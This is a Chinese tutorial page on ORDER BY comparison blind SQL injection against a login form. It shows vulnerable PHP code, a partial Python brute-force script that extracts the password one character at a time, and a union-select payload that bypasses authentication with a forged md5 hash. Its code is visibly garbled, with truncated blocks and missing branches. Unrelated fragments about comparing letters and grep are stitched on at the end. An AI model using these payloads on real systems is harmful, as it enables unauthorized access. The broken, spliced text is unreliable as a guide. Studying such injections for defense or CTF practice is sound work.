sql order by 大小比較盲注

2021-10-04 00:00:59 字數 1204 閱讀 3106

利用場景,先判斷使用者名稱再判斷密碼

$sql

="select * from admin where username='"

.$username

."'"

;$result

=mysql_query

($sql);

$row

=mysql_fetch_array

($result);

if(isset

($row)&&

$row

['username'

]===

'admin'

)else

}else

有如下表

我們嘗試用order by去猜測password的值

這裡很明顯能看出來,當用聯合查詢出來的password值是1和2時,最終選擇出來的就是1,2(挑選出來第一行),頁面會顯示使用者名稱錯誤,當為3時則選擇出來的是真正的使用者名稱admin,這時顯示的是密碼錯誤,這樣我們就可以根據回顯一位一位的猜解password的值。

給出乙個通用的指令碼,大家可以根據過濾情況進行修改。

s =

'0123456789:abcdefghijklmnopqrstuvwxyz

r=requests.post(url,data=data)

if"wrong pass!"

in r.text:

password+=

chr(

ord(j)-1

)print

(password)

break

當然還有乙個小技巧繞過

因為原始碼中要判斷輸入的密碼的md5值與查詢出來的密碼是否一致。

這裡直接構造

payload:username=' union select 'admin','c81e728d9d4c2f636f067f89cc14862c' #&password=123

其中c81e728d9d4c2f636f067f89cc14862c為123的md5值

比較字母大小

題目描述 任意給出兩個英文本母,比較它們的大小,規定26個英文本母a,b,c.z依次從大到小。輸入要求 第一行輸入t,表示有t組資料 接下來有t行,每行有兩個字母,以空格隔開 輸出要求 輸出各組資料的比較結果,輸出格式見樣例輸出 注意輸出嚴格按照輸入的順序即輸入是a b,輸出時必須是a b 輸入樣例...

grep q 大小比較

grep q 在shell指令碼中,你只需要知道grep有沒有找到指定的字串,而不需要滿螢幕列印出來,因為那樣會很難看。這只可以加 q選項,執行結果是 如果找到了,會返回0,否則,返回1。然後你在接下來的語句中檢查 的值,就知道grep有沒有找到需要的字串了。舉個例子,假設檔案a.txt的內容為 a...

比較字母大小

時間限制 3000 ms 記憶體限制 65535 kb 難度 1 描述 任意給出兩個英文本母,比較它們的大小,規定26個英文本母a,b,c.z依次從大到小。輸入 第一行輸入t,表示有t組資料 接下來有t行,每行有兩個字母,以空格隔開 輸出輸出各組資料的比較結果,輸出格式見樣例輸出 注意輸出嚴格按照輸...